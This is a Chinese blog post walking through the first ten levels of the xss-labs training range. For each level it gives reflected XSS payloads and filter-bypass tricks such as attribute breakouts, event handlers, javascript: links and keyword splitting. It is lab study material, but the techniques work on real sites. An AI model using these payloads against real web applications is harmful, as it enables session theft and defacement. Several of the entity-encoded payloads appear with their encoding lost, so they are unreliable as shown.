xss-labs靶场安装+通关(1)
昨天我已经通关DVWA靶场,感觉还是可以的,手感火热,今天继续复习靶场,本来想写sql-labs靶场的,但是感觉有点多,就不写,今天完成的是xss-labs靶场,这个靶场还是挺简单的,今天先分享前面10关,明天更新剩下的。来,走起。
一、xss-labs安装
这里我们使用docker安装靶场,简单又快,使用命令拉取镜像
docker pull c0ny1/xss-challenge-tour
然后使用如下命令运行
docker run -dt --name xss -p 8082:80 --rm c0ny1/xss-challenge-tour
通过IP地址加端口进行访问,如下图所示
二、靶场通关
1、level1
第一关直接在url处将test改为以下语句
<script>alert(1)</script>
2、level2
有个输入框,输入语句先尝试一下
查看源码进行分析
源码分析,script>alert(1)</script>
仅作为input
标签的属性值存在,而非独立的 HTML 标签。浏览器会将属性值内的内容视为普通文本,不会解析执行其中的脚本,因此无法触发弹窗。
如何绕过:Level2 通常无标签 / 字符过滤(如未过滤<
、>
、"
等),仅存在 “输出位置在属性内” 的限制,突破input
标签的value
属性限制,让恶意脚本成为独立的 HTML 元素或触发事件的属性。具体逻辑:闭合value
属性:用双引号 "
结束value
的取值范围(原 HTML 中value="..."
,输入"
后变为value=""
)。
使用命令如下
"><script>alert(1)</script>
3、level3
还是按照上面的思路
源码分析
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script>alert(1)</script>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
value
属性使用单引号'
包裹(而非双引号"
),这是闭合逻辑的关键变化。- 过滤特征:原 Payload
<script>alert(1)</script>
被转义为<script>alert(1)</script>
,说明<
和>
被 HTML 实体编码(<
→<
,>
→>
),直接使用<script>
标签会失效 - 绕过思路:闭合
value
属性:用单引号'
结束value
的取值范围(原 HTML 中value='...'
,输入'
后变为value=''
),添加事件属性:在input
标签内直接添加事件触发脚本(如onclick
、onmouseover
等),这类属性不需要<
和>
,可绕过标签过滤
这里我们使用事件来完成,使用语句如下(具体事件我就不再介绍)
' onclick='alert(1)
然后点击输入框,即可完成
4、level4
直接分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="scriptalert(1)/script">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:21</h3></body>
</html>
<script>alert(1)</script>
被处理为 scriptalert(1)/script
,可见 <
和 >
被直接删除(而非转义),导致<script>
标签结构被破坏,无法正常使用。
由于 <
和 >
被过滤,无法使用<script>
等标签,使用 Level3 的事件触发型 XSS思路,但适配双引号包裹的属性:闭合value
属性:用双引号"
结束value
的取值范围(原 HTML 中value="..."
,输入"
后变为value=""
)。注入事件属性:在input
标签内添加事件触发脚本(如onclick
、onmouseover
),这类属性不需要<
和>
,可避开过滤。
使用语句如下
" onclick="alert(1)
点击输入框,即可完成
5、level5
直接分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
<script>alert(1)</script>
被处理为 <scr_ipt>alert(1)</script>
,可见 script关键词被针对性破坏 插入下划线_
),导致<script>
标签失效;同时,发现事件属性(如onclick
)中的 "on" 也可能被过滤(例如转为o_n
),常规事件触发方式失效。
由于script
标签和on
类事件被过滤,需转向不依赖这两类关键词的触发方式,利用 HTML 标签的href
属性结合javascript
协议:闭合value
属性与input
标签:用"
结束value
属性,再用>
闭合input
标签,使后续内容成为独立 HTML 元素。使用<a>
标签 +javascript
协议:<a>
标签的href
属性支持javascript:
伪协议,可直接执行脚本,且 "javascript" 中的 "script" 可通过大小写混淆绕过过滤
使用语句如下
"><a href="Javascript:alert(1)">点击触发</a>
然后点击那个点击触发即可
6、level6
直接分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt>alert(1)</script>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
Payload <script>alert(1)</script>
被处理为 <scr_ipt>alert(1)</script>
,script关键词被强制破坏 插入下划线_
)。猜测使用大小写混淆绕过。同时也要闭合前面的双引号
直接使用如下语句绕过
"><SCRIPT>alert(1)</SCRIPT>
7、level7
分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="<>alert(1)</>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:13</h3></body>
</html>
<script>alert(1)</script>
被处理为 <>alert(1)</>
,script关键词被直接删除,导致<script>
标签被剥离为<>。
过滤规则通常只会单次匹配并删除关键词,因此将 “script” 拆分为两部分,中间插入 “script”,过滤后两部分会自动拼接成完整的 “script”。例如:scrscriptipt
→ 过滤删除中间的 “script” → 剩余script
。同时,需先闭合value
属性和input
标签。
使用语句如下
"""><scrscriptipt>alert(1)</scrscriptipt>
8、level8
直接分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
<script>alert(1)</script>
被处理为 <scr_ipt>alert(1)</scr_ipt>
,精准检测 “script” 关键词,并通过插入下划线_
破坏标签结构;对 “javascript” 中的 “script” 同样生效(若直接输入javascript:alert(1)
,会被处理为javascr_ipt:alert(1)
,失效);但是未过滤 HTML 实体编码
HTML 中,<a>
标签的href
属性支持HTML 实体编码(如s
会被浏览器自动解析为s
),且解析优先级高于关键词过滤 —— 利用这一特性可绕过 “script” 检测。
href
属性支持javascript:
伪协议(如href="javascript:alert(1)"
),点击链接时会执行协议后的脚本,无需依赖<script>
标签。
针对 “script” 关键词过滤,将 “javascript” 中 “script” 部分的某个字符(如s
)替换为 HTML 实体编码(如s
的十进制编码s
、十六进制编码s
)。过滤规则无法识别编码后的字符;但浏览器渲染时会自动将编码解析为原字符,恢复javascript:
协议的有效性。
使用语句如下
javascript:alert(1)
然后点击友情链接
9、level9
分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
script
关键词过滤(如<script>
会被破坏);新增合法性校验:若输入内容不包含http://
等合法协议前缀,会被标记为 “不合法”,无法作为有效href
值。
绕过需同时满足两个条件:通过合法性校验:在 Payload 中包含http://
(或https://
),让系统认为是合法链接;绕过script
过滤并执行脚本:利用javascript:
协议 + HTML 实体编码,在合法 URL 中嵌入可执行脚本,通过注释符号//
忽略http://
后的冗余内容。
使用语句如下
javascript:alert(1)//http://
- 合法校验:包含
http://
,满足系统对 “合法链接” 的判断,避免被标记为 “不合法”; - 执行:
javascript
:s
是s
的 HTML 实体编码,浏览器解析后恢复为javascript
,绕过script
关键词过滤;//
:JavaScript 注释符号,忽略后续的http://
(避免干扰脚本执行);
然后点击友情链接
10、level10
没有输入框,直接在url中添加,分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script>alert()</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
页面包含 3 个隐藏的<input>
标签(t_link
、t_history
、t_sort
),类型为hidden
(不显示在页面上),value
属性初始为空。用户输入的keyword
参数仅作为 “未找到结果” 的提示文本,且被 HTML 实体编码(<
→<
等)。但是,隐藏的input
标签的name
属性(t_link
、t_history
、t_sort
)可能是可控参数—— 即可以通过 URL 传入对应参数值,这些值会被填充到value
属性中。例如,若传入?t_sort=test
,可能导致<input name="t_sort" value="test" type="hidden">
。
绕过思路,定位可控参数:测试t_link
、t_history
、t_sort
三个参数,确认哪个参数的输入会被直接填充到value
属性中(通常t_sort
是目标)。构造属性:通过参数值闭合value
属性,同时修改type
为text
(使输入框可见),并添加事件属性(如onclick
),让脚本可被用户交互触发。
修改keyword的参数,使用语句如下
keyword=test&t_sort=%22%20type=%22text%22%20onclick=%22alert(1)
执行思路,向 URL 添加t_sort
参数并编码 Payload,访问 URL 后,页面会显示一个文本输入框(因type="text"
),点击该输入框即触发onclick
事件。
然后点击输入框即可